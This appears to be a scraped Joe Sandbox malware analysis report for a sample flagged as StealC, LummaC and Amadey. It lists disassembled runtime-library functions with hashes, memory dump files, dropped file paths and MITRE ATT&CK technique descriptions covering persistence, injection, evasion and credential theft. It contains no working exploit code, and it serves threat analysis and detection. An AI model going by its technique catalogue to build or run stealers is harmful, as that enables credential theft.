Function 00007FF8B7E53760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E53777
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF8B7E537B6

Part of subcall function 00007FF8B7E59218: _Yarn.LIBCPMT ref: 00007FF8B7E59246

Strings

bad locale name, xrefs: 00007FF8B7E537CA

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_Yarn
String ID: bad locale name
API String ID: 1838369231-1405518554
Opcode ID: eef27972814bc774acaa3367e800ab895971dad7c31030881b5dc5cf2b5cc57a
Instruction ID: 8263311932f51e6c5c21a6365a2416b09f1a6fafa72b0804d478d2b2eff14300
Opcode Fuzzy Hash: eef27972814bc774acaa3367e800ab895971dad7c31030881b5dc5cf2b5cc57a
Instruction Fuzzy Hash: 82016D62509BC589D784DF79A88016D77A5FF58F88B285139DB8C8372AEF38D4A0C340

Function 0000000180003870 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180003887
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00000001800038C6

Part of subcall function 000000018000DB08: _Yarn.LIBCPMT ref: 000000018000DB36

Strings

bad locale name, xrefs: 00000001800038DA

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_Yarn
String ID: bad locale name
API String ID: 1838369231-1405518554
Opcode ID: 08533dd90a97c4c04629c7db4ff96f174243c4b435a145fe0952f6afac0f59c4
Instruction ID: 5f2109c9ae524b8d06619423d91697406a3937aa3ca9c1c831a9a725ee54bba2
Opcode Fuzzy Hash: 08533dd90a97c4c04629c7db4ff96f174243c4b435a145fe0952f6afac0f59c4
Instruction Fuzzy Hash: FF016233105B8889D785DF75A88039977B5F75CB88F1891299A8C8371AEF34C594C344

Function 00007FF8B7E5BD10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF8B7E57402), ref: 00007FF8B7E5BD60
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF8B7E57402), ref: 00007FF8B7E5BDA1

Strings

csm, xrefs: 00007FF8B7E5BD8E

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 06881a6cf02e3e73f039ae2036c141cfffef6c9e6504aa3080e45818d6c260e0
Instruction ID: a544764a21b19863d8406bac04715d88b93c17acdfd3f42e801f027796f649fb
Opcode Fuzzy Hash: 06881a6cf02e3e73f039ae2036c141cfffef6c9e6504aa3080e45818d6c260e0
Instruction Fuzzy Hash: 1E11D772618B8582EB618B19E4402697BA5FB88B98F584235EB8D0BB68DF3CD5518B00

Function 0000000180011FE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,000000018000D526), ref: 0000000180012030
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000000018000D526), ref: 0000000180012071

Strings

csm, xrefs: 000000018001205E

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 70dad7ce45f77bf1d04019ec56ed214c9cb4911bb4da40e3e32c9d6e3c4a6d9c
Instruction ID: 2822b05b0b33973d8d26a72a31b572ae72de9098df4ddce8102d7d95c2edfcc7
Opcode Fuzzy Hash: 70dad7ce45f77bf1d04019ec56ed214c9cb4911bb4da40e3e32c9d6e3c4a6d9c
Instruction Fuzzy Hash: 5D11CE32214B8482EB628B15F45039A77E5F78CB94F598225EF8D07769EF3DC665C700

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RYM16770HTK1NZSZ1PW5P28.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Loader_seyhhd[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre